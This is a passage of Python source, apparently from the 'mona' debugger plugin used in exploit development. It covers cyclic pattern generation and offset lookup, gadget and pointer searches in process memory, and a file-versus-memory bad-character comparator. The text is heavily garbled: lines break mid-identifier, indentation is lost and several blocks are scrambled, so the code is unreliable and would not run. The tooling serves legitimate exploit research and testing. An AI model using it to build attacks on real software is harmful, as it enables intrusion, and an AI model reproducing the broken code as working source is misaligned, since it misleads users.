for fcnt in xrange(len(allfiles)):
objcomparefile.write(" - " + str(fcnt)+". "+allfiles[fcnt],compa
refile)
objcomparefilenot.write(" - " + str(fcnt)+". "+allfiles[fcnt],co
mparefilenot)
objcomparefile.write("",comparefile)
objcomparefile.write("Pointers found :",comparefile)
objcomparefile.write("----------------",comparefile)
objcomparefilenot.write("",comparefilenot)
objcomparefilenot.write("Pointers not found :",comparefilenot)
objcomparefilenot.write("-------------------",comparefilenot)
# transform the files into dictionaries

dbg.log("[+] Reading input files ...")


all_input_files = {}
all_pointers = {}
fcnt = 0
for thisfile in allfiles:
filedata = {}
content = []
with open(thisfile,"rb") as inputfile:
content = inputfile.readlines()
pointerlist = []
for thisLine in content:
refpointer,instr = splitToPtrInstr(thisLine)
instr = instr.replace('\n','').replace('\r','').strip(":
")
if refpointer != -1 and not refpointer in filedata:
filedata[refpointer] = instr
pointerlist.append(refpointer)
all_input_files[fcnt] = filedata
all_pointers[fcnt] = pointerlist
fcnt += 1
# select smallest one
dbg.log("[+] Finding shortest array, to use as the reference")
shortestarray = 0
shortestlen = 0
for inputfile in all_input_files:
if (len(all_input_files[inputfile]) < shortestlen) or (shortestl
en == 0):
shortestlen = len(all_input_files[inputfile])
shortestarray = inputfile
dbg.log("
Reference file: %s (%d pointers)" % (allfiles[shortestarray
],shortestlen))
fileorder = []
fileorder.append(shortestarray)
cnt = 0
while cnt <= len(all_input_files):
if not cnt in fileorder:
fileorder.append(cnt)
cnt += 1
remaining = []
fulllist = []
if rangeval == 0:
dbg.log("[+] Starting compare, please wait...")
dbg.updateLog()
fcnt = 1
remaining = all_pointers[shortestarray]
fulllist = all_pointers[shortestarray]
while fcnt < len(fileorder)-1 and len(remaining) > 0:
dbg.log("
Comparing %d reference pointers with %s" %
(len(remaining),allfiles[fileorder[fcnt]]))
remaining = list(set(remaining).intersection(set(all_poi
nters[fileorder[fcnt]])))
fulllist = list(set(fulllist).union(set(all_pointers[fil
eorder[fcnt]])))
fcnt += 1
else:
dbg.log("[+] Exploding reference list with values within range")
dbg.updateLog()
# create first reference list with ALL pointers within the range
allrefptr = []

reflist = all_pointers[shortestarray]
for refptr in reflist:
start_range = refptr - rangeval
if start_range < 0:
start_range = 0
end_range = refptr + rangeval
if start_range > end_range:
tmp = start_range
start_range = end_range
end_range = tmp
while start_range <= end_range:
if not start_range in allrefptr:
allrefptr.append(start_range)
start_range += 1
# do normal intersection
dbg.log("[+] Starting compare, please wait...")
dbg.updateLog()
s_remaining = allrefptr
s_fulllist = allrefptr
fcnt = 1
while fcnt < len(fileorder)-1 and len(s_remaining) > 0:
s_remaining = list(set(s_remaining).intersection(set(all
_pointers[fileorder[fcnt]])))
s_fulllist = list(set(s_fulllist).union(set(all_pointers
[fileorder[fcnt]])))
fcnt += 1
for s in s_remaining:
if not s in remaining:
remaining.append(s)
for s in s_fulllist:
if not s in fulllist:
fulllist.append(s)
nonmatching = list(set(fulllist) - set(remaining))
dbg.log("
Total nr of unique pointers : %d" % len(fulllist))
dbg.log("
Nr of matching pointers before filtering : %d" % len(remain
ing))
dbg.log("
nmatching))

Nr of non-matching pointers before filtering : %d" % len(no

dbg.log("[+] Transforming results into output...")


outputlines = ""
outputlines_not = ""
# start building output
remaining.sort()
for remptr in remaining:
if fast:
outputlines += "0x%08x\n" % remptr
else:
thisinstr = all_input_files[shortestarray][remptr]
include = True
if checkstrict:
# check if all entries are the same
fcnt = 1
while (fcnt < len(fileorder)-1) and include:
if thisinstr != all_input_files[fileorde
r[fcnt]][remptr]:
include = False
fcnt += 1
else:

include = True
if include and (tomatch == "" or tomatch in thisinstr):
outputlines += "0x%08x : %s\n" % (remptr,thisins
tr)
for nonptr in nonmatching:
if fast:
outputlines_not += "0x%08x\n" % nonptr
else:
thisinstr = ""
if nonptr in all_input_files[shortestarray]:
thisinstr = all_input_files[shortestarray][nonpt
r]
outputlines_not += "File(%d) 0x%08x : %s\n" % (shortesta
rray,nonptr,thisinstr)
for fileindex in all_input_files:
if fileindex != shortestarray:
these_entries = all_input_files[fileinde
x]
if nonptr in these_entries:
thisinstr = these_entries[nonptr
]
outputlines_not += "

File (%d)

outputlines_not += "

File (%d)

. %s\n" % (fileindex,thisinstr)
else:
. Entry not found \n" % fileindex
dbg.log("[+] Writing output to files")
objcomparefile.write(outputlines, comparefile)
objcomparefilenot.write(outputlines_not, comparefilenot)
nrmatching = len(outputlines.split("\n")) - 1
dbg.log("
Wrote %d matching pointers to file" % nrmatching)
dbg.log("[+] Done.")
return
#------------------#
# Cyclic pattern
#------------------#

def createPattern(size,args={}):
"""
Create a cyclic (metasploit) pattern of a given size
Arguments:
size - value indicating desired length of the pattern
if value is > 20280, the pattern will repeat itself until it reac
hes desired length
Return:
string containing the cyclic pattern
"""
char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
char2="abcdefghijklmnopqrstuvwxyz"
char3="0123456789"
if "extended" in args:
char3 += ",.;+=-_!&()#@({})[]%" # ascii, 'filename' friendly

if "c1" in args
char1 =
if "c2" in args
char2 =
if "c3" in args
char3 =

and args["c1"] != "":


args["c1"]
and args["c2"] != "":
args["c2"]
and args["c3"] != "":
args["c3"]

if "js" in args:
js_output = True
else:
js_output = False
if not silent:
if not "extended" in args and size > 20280 and (len(char1) <= 26
or len(char2) <= 26 or len(char3) <= 10):
msg = "** You have asked to create a pattern > 20280 byt
es, but with the current settings\n"
msg += "the pattern generator can't create a pattern of
" + str(size) + " bytes. As a result,\n"
msg += "the pattern will be repeated for " + str(size-20
280)+" bytes until it reaches a length of " + str(size) + " bytes.\n"
msg += "If you want a unique pattern larger than 20280 b
ytes, please either use the -extended option\n"
msg += "or extend one of the 3 charsets using options -c
1, -c2 and/or -c3 **\n"
dbg.logLines(msg,highlight=1)
pattern = []
max = int(size)
while len(pattern) < max:
for ch1 in char1:
for ch2 in char2:
for ch3 in char3:
if len(pattern) < max:
pattern.append(ch1)
if len(pattern) < max:
pattern.append(ch2)
if len(pattern) < max:
pattern.append(ch3)
pattern = "".join(pattern)
if js_output:
return str2js(pattern)
return pattern
def findOffsetInPattern(searchpat,size=20280,args = {}):
"""
Check if a given searchpattern can be found in a cyclic pattern
Arguments:
searchpat : the ascii value or hexstr to search for
Return:
entries in the log window, indicating if the pattern was found and at wh
at position
"""

mspattern=""
searchpats = []
modes = []
modes.append("normal")
modes.append("upper")
modes.append("lower")
extratext = ""
patsize=int(size)
if patsize == -1:
size = 500000
patsize = size
global silent
oldsilent=silent
for mode in modes:
silent=oldsilent
if mode == "normal":
silent=True
mspattern=createPattern(size,args)
silent=oldsilent
extratext = " "
elif mode == "upper":
silent=True
mspattern=createPattern(size,args).upper()
silent=oldsilent
extratext = " (uppercase) "
elif mode == "lower":
silent=True
mspattern=createPattern(size,args).lower()
silent=oldsilent
extratext = " (lowercase) "
if len(searchpat)==3:
#register ?
searchpat = searchpat.upper()
regs = dbg.getRegs()
if searchpat in regs:
searchpat = "0x" + toHex(regs[searchpat])
if len(searchpat)==4:
ascipat=searchpat
if not silent:
dbg.log("Looking for %s in pattern of %d bytes"
% (ascipat,patsize))
if ascipat in mspattern:
patpos = mspattern.find(ascipat)
if not silent:
dbg.log(" - Pattern %s found in cyclic p
attern%sat position %d" % (ascipat,extratext,patpos),highlight=1)
else:
#reversed ?
ascipat_r = ascipat[3]+ascipat[2]+ascipat[1]+asc
ipat[0]
if ascipat_r in mspattern:
patpos = mspattern.find(ascipat_r)
if not silent:
dbg.log(" - Pattern %s (%s rever

sed) found in cyclic pattern%sat position %d" % (ascipat_r,ascipat,extratext,pat


pos),highlight=1)
else:
if not silent:
dbg.log(" - Pattern %s not found
in cyclic pattern%s" % (ascipat_r,extratext))
if len(searchpat)==8:
searchpat="0x"+searchpat
if len(searchpat)==10:
hexpat=searchpat
ascipat3 = toAscii(hexpat[8]+hexpat[9])+toAscii(
hexpat[6]+hexpat[7])+toAscii(hexpat[4]+hexpat[5])+toAscii(hexpat[2]+hexpat[3])
if not silent:
dbg.log("Looking for %s in pattern of %d
bytes" % (ascipat3,patsize))
if ascipat3 in mspattern:
patpos = mspattern.find(ascipat3)
if not silent:
dbg.log(" - Pattern %s (%s) foun
d in cyclic pattern%sat position %d" % (ascipat3,hexpat,extratext,patpos),highli
ght=1)
else:
#maybe it's reversed
ascipat4=toAscii(hexpat[2]+hexpat[3])+to
Ascii(hexpat[4]+hexpat[5])+toAscii(hexpat[6]+hexpat[7])+toAscii(hexpat[8]+hexpat
[9])
if not silent:
dbg.log("Looking for %s in patte
rn of %d bytes" % (ascipat4,patsize))
if ascipat4 in mspattern:
patpos = mspattern.find(ascipat4
)
if not silent:
dbg.log(" - Pattern %s (
%s reversed) found in cyclic pattern%sat position %d" % (ascipat4,hexpat,extrate
xt,patpos),highlight=1)
else:
if not silent:
dbg.log(" - Pattern %s n
ot found in cyclic pattern%s " % (ascipat4,extratext))
def findPatternWild(modulecriteria,criteria,pattern,base,top,patterntype):
"""
Performs a search for instructions, accepting wildcards
Arguments :
modulecriteria - dictionary with criteria modules need to comply with.
criteria - dictionary with criteria the pointers need to comply with.
pattern - the pattern to search for.
base - the base address in memory the search should start at
top - the top address in memory the search should not go beyond
patterntype - type of search to conduct (str or bin)
"""
global silent
rangestosearch = []
tmpsearch = []

allpointers = {}
results = {}
mindistance = 4
maxdistance = 40
if "mindistance" in
mindistance
if "maxdistance" in
maxdistance

criteria:
= criteria["mindistance"]
criteria:
= criteria["maxdistance"]

maxdepth = 8
preventbreak = True
if "all" in criteria:
preventbreak = False
if "depth" in criteria:
maxdepth = criteria["depth"]
if not silent:
dbg.log("[+] Type of search: %s" % patterntype)
dbg.log("[+] Searching for matches up to %d instructions deep" %
maxdepth)
if len(modulecriteria) > 0:
modulestosearch = getModulesToQuery(modulecriteria)
# convert modules to ranges
for modulename in modulestosearch:
objmod = MnModule(modulename)
mBase = objmod.moduleBase
mTop = objmod.moduleTop
if mBase < base and base < mTop:
mBase = base
if mTop > top:
mTop = top
if mBase >= base and mBase < top:
if not [mBase,mTop] in rangestosearch:
rangestosearch.append([mBase,mTop])
# if no modules were specified, then also add the other ranges
(outside modules)
if not "modules" in modulecriteria:
outside = getRangesOutsideModules()
for range in outside:
mBase = range[0]
mTop = range[1]
if mBase < base and base < mTop:
mBase = base
if mTop > top:
mTop = top
if mBase >= base and mBase < top:
if not [mBase,mTop] in rangestosearch:
rangestosearch.append([mBase,mTo
p])
else:
rangestosearch.append([base,top])
pattern = pattern.replace("'","").replace('"',"").replace(" "," ").repl
ace(", ",",").replace(" ,",",").replace("# ","#").replace(" #","#")

if len(pattern) == 0:
dbg.log("** Invalid search pattern **")
return
# break apart the instructions
# search for the first instruction(s)
allinstructions = pattern.split("#")
instructionparts = []
instrfound = False
for instruction in allinstructions:
instruction = instruction.strip().lower()
if instrfound and instruction != "":
instructionparts.append(instruction)
else:
if instruction != "*" and instruction != "":
instructionparts.append(instruction)
instrfound = True
# remove wildcards placed at the end
for i in rrange(len(instructionparts)):
if instructionparts[i] == "*":
instructionparts.pop(i)
else:
break
# glue simple instructions together if possible
# reset array
allinstructions = []
stopnow = False
mergeinstructions = []
mergestopped = False
mergetxt = ""
for instr in instructionparts:
if instr.find("*") == -1 and instr.find("r32") == -1 and not mer
gestopped:
mergetxt += instr + "\n"
else:
allinstructions.append(instr)
mergestopped = True
mergetxt = mergetxt.strip("\n")
searchPattern = []
remaining = allinstructions
if mergetxt != "":
searchPattern.append(mergetxt)
else:
# at this point, we're sure the first instruction has some kind
of r32 and/or offset variable
# get all of the combinations for this one
# and use them as searchPattern
cnt = 0
stopped = False
for instr in allinstructions:
if instr != "*" and (instr.find("r32") > -1 or instr.fin
d("*") > -1) and not stopped:
if instr.find("r32") > -1:
for reg in dbglib.Registers32BitsOrder:
thisinstr = instr.replace("r32",
reg.lower())

if instr.find("*") > -1:


# contains a wildcard of
fset
startdist = mindistance
while startdist < maxdis
tance:
operator = ""
if startdist < 0
:
operator
= "-"
replacewith = op
erator + "0x%02x" % startdist
thisinstr2 = thi
sinstr.replace("*",replacewith)
searchPattern.ap
pend(thisinstr2)
startdist += 1
else:
searchPattern.append(thi
sinstr)
else:
# no r32
if instr.find("*") > -1:
# contains a wildcard offset
startdist = mindistance
while startdist < maxdistance:
operator = ""
if startdist < 0:
operator = "-"
replacewith = operator +
"0x%02x" % startdist
thisinstr2 = instr.repla
ce("*",replacewith)
searchPattern.append(thi
sinstr2)
startdist += 1
else:
searchPattern.append(instr)
remaining.pop(cnt)
stopped = True
cnt += 1
# search for all these beginnings
if len(searchPattern) > 0:
if not silent:
dbg.log("[+] Started search (%d start patterns)" % len(s
earchPattern))
dbg.updateLog()
for ranges in rangestosearch:
mBase = ranges[0]
mTop = ranges[1]
if not silent:
dbg.log("[+] Searching startpattern between 0x%s
and 0x%s" % (toHex(mBase),toHex(mTop)))
dbg.updateLog()
oldsilent=silent
silent=True
pointers = searchInRange(searchPattern,mBase,mTop,criter
ia)

silent=oldsilent
allpointers = mergeOpcodes(allpointers,pointers)
# for each of the findings, see if it contains the other instructions to
o
# disassemble forward up to 'maxdepth' instructions
for ptrtypes in allpointers:
for ptrs in allpointers[ptrtypes]:
thisline = ""
try:
for depth in xrange(maxdepth):
tinstr = dbg.disasmForward(ptrs, depth).
getDisasm().lower() + "\n"
if tinstr != "???":
thisline += tinstr
else:
thisline = ""
break
except:
continue
allfound = True
thisline = thisline.strip("\n")
if thisline != "":
parts = thisline.split("\n")
maxparts = len(parts)-1
partcnt = 1
searchfor = ""
remcnt = 0
lastpos = 0
remmax = len(remaining)
while remcnt < remmax:
searchfor = remaining[remcnt]
searchlist = []
if searchfor == "*":
while searchfor == "*" and remcn
t < remmax:
searchfor = remaining[re
mcnt+1]
rangemin = partcnt
rangemax = maxparts
remcnt += 1
else:
rangemin = partcnt
rangemax = partcnt
if searchfor.find("r32") > -1:
for reg in dbglib.Registers32Bit
sOrder:
searchlist.append(search
for.replace("r32",reg.lower()))
else:
searchlist.append(searchfor)
partfound = False

while rangemin <= rangemax and not partf


ound and rangemax <= maxparts:
for searchfor in searchlist:
if parts[rangemin].find(
searchfor) > -1:
partfound = True
lastpos = rangem
in
partcnt = lastpo
s # set counter to current position
break
if not partfound and preventbrea
k:
#check if current instru
ction would break chain
if wouldBreakChain(parts
[rangemin]):
# bail out
partfound = Fals
e
break
rangemin += 1
remcnt += 1
partcnt += 1
if not partfound:
allfound = False
break
if allfound:
theline = " # ".join(parts[:lastpos+1])
if theline != "":
if not theline in results:
results[theline] = [ptrs]
else:
results[theline] += [ptrs]
return results
def wouldBreakChain(instruction):
"""
Checks if the given instruction would potentially break the instruction
chain
Argument :
instruction: the instruction to check
Returns :
boolean
"""
goodinstruction = isGoodGadgetInstr(instruction)
if goodinstruction:
return False
return True
def findPattern(modulecriteria,criteria,pattern,ptype,base,top,consecutive=False
,rangep2p=0,level=0,poffset=0,poffsetlevel=0):
"""

Performs a find in memory for a given pattern


Arguments:
modulecriteria - dictionary with criteria modules need to comply with.
criteria - dictionary with criteria the pointers need to comply with.
One of the criteria can be "p2p", indicating tha
t the search should look for
pointers to pointers to the pattern
pattern - the pattern to search for.
ptype - the type of the pattern, can be 'asc', 'bin', 'ptr', 'instr' or
'file'
If no type is specified, the routine will try to 'guess' the typ
es
when type is set to file, it won't actually search in memory for
pattern, but it will
read all pointers from that file and search for pointers to thos
e pointers
(so basically, type 'file' is only useful in combination with -p
2p)
base - the base address in memory the search should start at
top - the top address in memory the search should not go beyond
consecutive - Boolean, indicating if consecutive pointers should be skip
ped
rangep2p - if not set to 0, the pointer to pointer search will also look
rangep2p bytes back for each pointer,
thus allowing you to find close pointer to pointers
poffset - only used when doing p2p, will add offset to found pointer add
ress before looking to ptr to ptr
poffsetlevel - apply the offset at this level of the chain
level - number of levels deep to look for ptr to ptr. level 0 is default
, which means search for pointer to searchpattern
Return:
all pointers (or pointers to pointers) to the given search pattern in me
mory
"""
wildcardsearch = False
rangestosearch = []
tmpsearch = []
p2prangestosearch = []
global silent
if len(modulecriteria) > 0:
modulestosearch = getModulesToQuery(modulecriteria)
# convert modules to ranges
for modulename in modulestosearch:
objmod = MnModule(modulename)
mBase = objmod.moduleBase
mTop = objmod.moduleTop
if mBase < base and base < mTop:
mBase = base
if mTop > top:
mTop = top
if mBase >= base and mBase < top:
if not [mBase,mTop] in rangestosearch:
rangestosearch.append([mBase,mTop])
# if no modules were specified, then also add the other ranges
(outside modules)
if not "modules" in modulecriteria:
outside = getRangesOutsideModules()

for range in outside:


mBase = range[0]
mTop = range[1]
if mBase < base and base < mTop:
mBase = base
if mTop > top:
mTop = top
if mBase >= base and mBase < top:
if not [mBase,mTop] in rangestosearch:
rangestosearch.append([mBase,mTo
p])
else:
rangestosearch.append([base,top])
tmpsearch.append([0,TOP_USERLAND])
allpointers = {}
originalPattern = pattern
# guess the type if it is not specified
if ptype == "":
if len(pattern) > 2 and pattern[0:2].lower() == "0x":
ptype = "ptr"
elif "\\x" in pattern:
ptype = "bin"
else:
ptype = "asc"
if ptype == "bin" and ".." in pattern:
wildcardsearch = True
if not silent:
dbg.log("
- Wildcard \\x.. detected")
if "unic" in criteria and ptype == "asc":
ptype = "bin"
binpat = ""
pattern = pattern.replace('"',"")
for thischar in pattern:
binpat += "\\x" + str(toHexByte(ord(thischar))) + "\\x00
"
pattern = binpat
originalPattern += " (unicode)"
if not silent:
dbg.log("
- Expanded ascii pattern to unicode, switch
ed search mode to bin")
bytes = ""
patternfilename = ""
split1 = re.compile(' ')
split2 = re.compile(':')
split3 = re.compile("\*")
if not silent:
dbg.log("

- Treating search pattern as %s" % ptype)

if ptype == "ptr":
pattern = pattern.replace("0x","")
value = int(pattern,16)
bytes = struct.pack('<I',value)
elif ptype == "bin":

if len(pattern) % 2 != 0:
dbg.log("Invalid hex pattern", highlight=1)
return
if not wildcardsearch:
bytes = hex2bin(pattern)
else:
# check if first byte is a byte and not a wildcard
if len(pattern) > 3 and pattern[2:4] == "..":
dbg.log(" *** Can't start a wildcard search with
a wildcard. Specify a byte instead ***",highlight =1)
return
else:
# search for the first byte and then check wildc
ards later
foundstartbytes = False
sindex = 0
while not foundstartbytes:
b = pattern[sindex:sindex+4]
if not ".." in b:
bytes += hex2bin(pattern[sindex:
sindex+4])
else:
foundstartbytes = True
sindex += 4
elif ptype == "asc":
if pattern.startswith('"') and pattern.endswith('"'):
pattern = pattern.replace('"',"")
elif pattern.startswith("'") and pattern.endswith("'"):
pattern = pattern.replace("'","")
bytes = pattern
elif ptype == "instr":
pattern = pattern.replace("'","").replace('"',"").replace(" ","
").replace(", ",",").replace(" #","#").replace("# ","#")
silent = True
bytes = hex2bin(assemble(pattern,""))
silent = False
if bytes == "":
dbg.log("Invalid instruction - could not assemble %s" %
pattern,highlight=1)
return
elif ptype == "file":
patternfilename = pattern.replace("'","").replace('"',"")
dbg.log("
- Search patterns = all pointers in file %s" % patt
ernfilename)
dbg.log("
Extracting pointers...")
FILE=open(patternfilename,"r")
contents = FILE.readlines()
FILE.close()
extracted = 0
for thisLine in contents:
if thisLine.lower().startswith("0x"):
lineparts=split1.split(thisLine)
thispointer = lineparts[0]
#get type = from : to *
if len(lineparts) > 1:
subparts = split2.split(thisLine)
if len(subparts) > 1:
if subparts[1] != "":
subsubparts = split3.spl

it(subparts[1])
if not subsubparts[0] in
allpointers:
allpointers[subs
ubparts[0]] = [hexStrToInt(thispointer)]
else:
allpointers[subs
ubparts[0]] += [hexStrToInt(thispointer)]
dbg.log("
dbg.updateLog()

extracted += 1
%d pointers extracted." % extracted)

fakeptrcriteria = {}
fakeptrcriteria["accesslevel"] = "*"
if "p2p" in criteria or level > 0:
#save range for later, search in all of userland for now
p2prangestosearch = rangestosearch
rangestosearch = tmpsearch
if ptype != "file":
for ranges in rangestosearch:
mBase = ranges[0]
mTop = ranges[1]
if not silent:
dbg.log("[+] Searching from 0x%s to 0x%s" % (toH
ex(mBase),toHex(mTop)))
dbg.updateLog()
searchPattern = []
searchPattern.append([originalPattern, bytes])
oldsilent=silent
silent=True
pointers = searchInRange(searchPattern,mBase,mTop,criter
ia)
silent=oldsilent
allpointers = mergeOpcodes(allpointers,pointers)
# filter out bad ones if wildcardsearch is enabled
if wildcardsearch and ptype == "bin":
nrbytes = ( len(pattern) / 4) - len(bytes)
if nrbytes > 0:
maskpart = pattern[len(bytes)*4:]
tocomparewith_tmp = maskpart.split("\\x")
tocomparewith = []
for tcw in tocomparewith_tmp:
if len(tcw) == 2:
tocomparewith.append(tcw)
dbg.log("[+] Applying wildcard mask, %d remaining bytes:
%s" % (nrbytes,maskpart))
remptrs = {}
for ptrtype in allpointers:
for ptr in allpointers[ptrtype]:
rfrom = ptr + len(bytes)
bytesatlocation = dbg.readMemory(rfrom,n
rbytes)
#dbg.log("Read %d bytes from 0x%08x" % (
len(bytesatlocation),rfrom))
compareindex = 0
wildcardmatch = True

for thisbyte in bytesatlocation:


thisbytestr = bin2hexstr(thisbyt
e).replace("\\x","")
thisbytecompare = tocomparewith[
compareindex]
if thisbytecompare != ".." and t
hisbytestr.lower() != thisbytecompare.lower():
wildcardmatch=False
break
compareindex += 1
if wildcardmatch:
if not ptrtype in remptrs:
remptrs[ptrtype] = [ptr]
else:
remptrs[ptrtype].append(
ptr)
allpointers = remptrs
if ptype == "file" and level == 0:
level = 1
if consecutive:
# get all pointers and sort them
rawptr = {}
for ptrtype in allpointers:
for ptr in allpointers[ptrtype]:
if not ptr in rawptr:
rawptr[ptr]=ptrtype
if not silent:
dbg.log("[+] Number of pointers to process : %d" % len(r
awptr))
sortedptr = rawptr.items()
sortedptr.sort(key = itemgetter(0))
#skip consecutive ones and increment size
consec_delta = len(bytes)
previousptr = 0
savedptr = 0
consec_size = 0
allpointers = {}
for ptr,ptrinfo in sortedptr:
if previousptr == 0:
previousptr = ptr
savedptr = ptr
if previousptr != ptr:
if ptr <= (previousptr + consec_delta):
previousptr = ptr
else:
key = ptrinfo + " ("+ str(previousptr+co
nsec_delta-savedptr) + ")"
if not key in allpointers:
allpointers[key] = [savedptr]
else:
allpointers[key] += [savedptr]
previousptr = ptr
savedptr = ptr
#recursive search ?
if len(allpointers) > 0:
remainingpointers = allpointers

if level > 0:
thislevel = 1
while thislevel <= level:
if not silent:
pcnt = 0
for ptype,ptrs in remainingpointers.iter
items():
for ptr in ptrs:
pcnt += 1
dbg.log("[+] %d remaining types found at
this level, total of %d pointers" % (len(remainingpointers),pcnt))
dbg.log("[+] Looking for pointers to pointers, l
evel %d..." % thislevel)
poffsettxt = ""
if
thislevel == poffsetlevel:
dbg.log("
I will apply offset %d (dec
imal) to discovered pointers to pointers..." % poffset)
poffsettxt = "%d(%xh)" % (poffset,poffse
t)
dbg.updateLog()
searchPattern = []
foundpointers = {}
for ptype,ptrs in remainingpointers.iteritems():
for ptr in ptrs:
cnt = 0
#if thislevel == poffsetlevel:
#
ptr = ptr + poffset
while cnt <= rangep2p:
bytes = struct.pack('<I'
,ptr-cnt)
if ptype == "file":
originalPattern
= ptype
if cnt == 0:
searchPattern.ap
pend(["ptr" + poffsettxt + " to 0x" + toHex(ptr) +" (-> ptr to " + originalPatte
rn + ") ** ", bytes])
else:
searchPattern.ap
pend(["ptr" + poffsettxt + " to 0x" + toHex(ptr-cnt) +" (-> close ptr to " + ori
ginalPattern + ") ** ", bytes])
cnt += 1
#only apply rangep2p in
level 1
if thislevel == 1:
rangep2p = 0
remainingpointers = {}
for ranges in p2prangestosearch:
mBase = ranges[0]
mTop = ranges[1]
if not silent:
dbg.log("[+] Searching from 0x%s
to 0x%s" % (toHex(mBase),toHex(mTop)))
dbg.updateLog()
oldsilent = silent
silent=True
pointers = searchInRange(searchPattern,m
Base,mTop,fakeptrcriteria)
silent=oldsilent
for ptrtype in pointers:

if not ptrtype in remainingpoint


ers:
if poffsetlevel == thisl
evel:
# fixup found po
inters, apply offset now
ptrlist = []
for thisptr in p
ointers[ptrtype]:
thisptr
= thisptr + poffset
ptrlist.
append(thisptr)
pointers[ptrtype
] = ptrlist
remainingpointers[ptrtyp
e] = pointers[ptrtype]
thislevel += 1
if len(remainingpointers) == 0:
if not silent:
dbg.log("[+] No more pointers le
ft, giving up...", highlight=1)
break
allpointers = remainingpointers
return allpointers
def compareFileWithMemory(filename,startpos,skipmodules=False):
dbg.log("[+] Reading file %s..." % filename)
srcdata_normal=[]
srcdata_unicode=[]
tagresults=[]
criteria = {}
criteria["accesslevel"] = "*"
try:
srcfile = open(filename,"rb")
content = srcfile.readlines()
srcfile.close()
for eachLine in content:
srcdata_normal += eachLine
for eachByte in srcdata_normal:
eachByte+=struct.pack('B', 0)
srcdata_unicode += eachByte
dbg.log("
Read %d bytes from file" % len(srcdata_normal))
except:
dbg.log("Error while reading file %s" % filename, highlight=1)
return
# loop normal and unicode
comparetable=dbg.createTable('mona Memory comparison results',['Address'
,'Status','BadChars','Type','Location'])
modes = ["normal", "unicode"]
objlogfile = MnLog("compare.txt")
logfile = objlogfile.reset()
for mode in modes:
if mode == "normal":
srcdata = srcdata_normal
if mode == "unicode":
srcdata = srcdata_unicode
maxcnt = len(srcdata)

if maxcnt < 8:
dbg.log("Error - file does not contain enough bytes (min
8 bytes needed)",highlight=1)
return
locations = []
if startpos == 0:
dbg.log("[+] Locating all copies in memory (%s)" % mode)
btcnt = 0
cnt = 0
linecount = 0
hexstr = ""
hexbytes = ""
for eachByte in srcdata:
if cnt < 8:
hexbytes += eachByte
if len((hex(ord(srcdata[cnt]))).replace(
'0x',''))==1:
hexchar=hex(ord(srcdata[cnt])).r
eplace('0x', '\\x0')
else:
hexchar = hex(ord(srcdata[cnt]))
.replace('0x', '\\x')
hexstr += hexchar
cnt += 1
dbg.log("
- searching for "+hexstr)
global silent
silent = True
results = findPattern({},criteria,hexstr,"bin",0,TOP_USE
RLAND,False)
for type in results:
for ptr in results[type]:
ptrinfo = MnPointer(ptr).memLocation()
if not skipmodules or (skipmodules and (
ptrinfo in ["Heap","Stack","??"])):
locations.append(ptr)
else:
startpos_fixed = startpos
locations.append(startpos_fixed)
if len(locations) > 0:
dbg.log("
- Comparing %d location(s)" % (len(location
s)))
dbg.log("Comparing bytes from file with memory :")
for location in locations:
memcompare(location,srcdata,comparetable,mode, s
mart=(mode == 'normal'))
silent = False
return
def memoized(func):
''' A function decorator to make a function cache it's return values.
If a function returns a generator, it's transformed into a list and
cached that way. '''
cache = {}
def wrapper(*args):
if args in cache:
return cache[args]
import time; start = time.time()
val = func(*args)
if isinstance(val, types.GeneratorType):

val = list(val)
cache[args] = val
return val
wrapper.__doc__ = func.__doc__
wrapper.func_name = '%s_memoized' % func.func_name
return wrapper
class MemoryComparator(object):
''' Solve the memory comparison problem with a special dynamic programmi
ng
algorithm similar to that for the LCS problem '''
Chunk = namedtuple('Chunk', 'unmodified i j dx dy xchunk ychunk')
move_to_gradient =
0:
1:
2:
3:
}

{
(0,
(0,
(1,
(2,

0),
1),
1),
1),

def __init__(self, x, y):


self.x, self.y = x, y
@memoized
def get_last_unmodified_chunk(self):
''' Returns the index of the last chunk of size > 1 that is unmo
dified '''
try:
return max(i for i, c in enumerate(self.get_chunks()) if
c.unmodified and c.dx > 1)
except:
# no match
return -1
@memoized
def get_grid(self):
''' Builds a 2-d suffix grid for our DP algorithm. '''
x = self.x
y = self.y[:len(x)*2]
width, height = len(x), len(y)
values = [[0] * (width + 1) for j in range(height + 1)]
moves = [[0] * (width + 1) for j in range(height + 1)]
equal = [[x[i] == y[j] for i in range(width)] for j in range(he
ight)]
equal.append([False] * width)
for j, i in itertools.product(rrange(height + 1), rrange(width +
1)):
value = values[j][i]
if i >= 1 and j >= 1:
if equal[j-1][i-1]:
values[j-1][i-1] = value + 1
moves[j-1][i-1] = 2
elif value > values[j][i-1]:
values[j-1][i-1] = value
moves[j-1][i-1] = 2
if i >= 1 and not equal[j][i-1] and value - 2 > values[j
][i-1]:
values[j][i-1] = value - 2

moves[j][i-1] = 1
if i >= 1 and j >= 2 and not equal[j-2][i-1] and value 1 > values[j-2][i-1]:
values[j-2][i-1] = value - 1
moves[j-2][i-1] = 3
return (values, moves)
@memoized
def get_blocks(self):
'''
Compares two binary strings under the assumption that y is the r
esult of
applying the following transformations onto x:
* change single bytes in x (likely)
* expand single bytes in x to two bytes (less likely)
* drop single bytes in x (even less likely)
Returns a generator that yields elements of the form (unmodified
, xdiff, ydiff),
where each item represents a binary chunk with "unmodified" deno
ting whether the
chunk is the same in both strings, "xdiff" denoting the size of
the chunk in x
and "ydiff" denoting the size of the chunk in y.
Example:
>>> x = "abcdefghijklm"
>>> y = "mmmcdefgHIJZklm"
>>> list(MemoryComparator(x, y).get_blocks())
[(False, 2, 3), (True, 5, 5),
(False, 3, 4), (True, 3, 3)]
'''
x, y = self.x, self.y
_, moves = self.get_grid()
# walk the grid
path = []
i, j = 0, 0
while True:
dy, dx = self.move_to_gradient[moves[j][i]]
if dy == dx == 0: break
path.append((dy == 1 and x[i] == y[j], dy, dx))
j, i = j + dy, i + dx
for i, j in zip(range(i, len(x)), itertools.count(j)):
if j < len(y): path.append((x[i] == y[j], 1, 1))
else:
path.append((False,
0, 1))
i = j = 0
for unmodified, subpath in itertools.groupby(path, itemgetter(0)
):
ydiffs = map(itemgetter(1), subpath)
dx, dy = len(ydiffs), sum(ydiffs)
yield unmodified, dx, dy
i += dx
j += dy
@memoized
def get_chunks(self):

i = j = 0
for unmodified, dx, dy in self.get_blocks():
yield self.Chunk(unmodified, i, j, dx, dy, self.x[i:i+dx
], self.y[j:j+dy])
i += dx
j += dy
@memoized
def guess_mapping(self):
''' Tries to guess how the bytes in x have been mapped to substr
ings in y by
applying nasty heuristics.
Examples:
